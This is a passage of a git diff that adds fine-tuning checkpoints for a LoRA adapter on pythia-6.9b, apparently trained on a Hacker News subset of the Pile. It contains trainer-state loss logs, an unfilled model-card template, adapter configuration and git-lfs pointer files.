"epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.06284663488512e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..41b758b5aa2caacf719b9ee864e017cf99aefd78 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2305ebb8f86c9ade038aa8bddbf81ce14ec99278e13c9494baa4bed58ba0e3b3 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ceb071622b0660521536d90f4782deeb556c6de1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4b4231f513775b384cf9445b8f9e40d032a3da4cfa8aad5eab4b619c2b39d24b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f3b952e81c9ed8c37528c0b9d4c13811ac0b62d3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d5ce5744fa32738c65fe7785ec589c49d96370233c9386567c3f06dceedb5f2c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d9c94a2d554cb9176e1f6452c1c8064e701f6c9c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:69cb8b9fe313cb48c89565a287ca91c45004877815ee7660be6b701d2464119a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..730efbc3d5e148cf5589e84acec79546ccc3939a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/trainer_state.json @@ -0,0 +1,603 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.066666666666666, + "eval_steps": 10, + "global_step": 380, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.22670735474688e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-380/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": 